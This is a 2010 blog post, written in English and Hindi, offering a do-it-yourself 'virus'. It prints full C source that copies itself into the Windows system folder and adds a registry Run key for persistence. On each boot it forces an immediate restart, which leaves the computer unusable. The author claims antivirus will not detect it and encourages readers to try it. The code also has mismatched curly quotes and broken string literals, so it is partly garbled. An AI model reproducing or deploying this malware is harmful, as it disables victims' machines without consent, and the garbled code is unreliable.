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2025-01-30, 2:13 AM |
Main » 2010 » January » 23 » Make Virus Of Your Own
9:56 PM Make Virus Of Your Own |
"make your virus for automaic restart of computer"
Today
I will show you how to create a virus that restarts the computer upon
every startup. That is, upon infection, the computer will get restarted
every time the system is booted. This means that the computer will
become inoperable since it reboots as soon as the desktop is loaded.
For
this, the virus need to be doubleclicked only once and from then
onwards it will carry out rest of the operations. And one more thing,
none of the antivirus softwares detect’s this as a virus since I have
coded this virus in C. So if you are familiar with C language then it’s
too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst("C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst("D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst("E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst("F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe”,”wb”);
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe”,”wb”);
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe”,”wb”);
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
ye to rahi technical baat agar pehle test karna ho without any compilation
then folowing these step
Go to > RUN > type:
shutdown -r -t 0
your computer most probably restart suddenly after entering this command.
enjoy  ...........
and haaan one thing i want to tell you that in whole coding there is puzzle for you :
puzzle is that there is command to set the timer for automatic restart in WINDOWStm XPtm
so get set go................. 
For further you can mail me or ask by posting here or by reply.
my next tip on .......
.
..
.
.
.
idon't knw but it is more interesting ...till then bye..
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Views: 654 |
Added by: Handsome-Hunk
| Rating: 0.0/0 |
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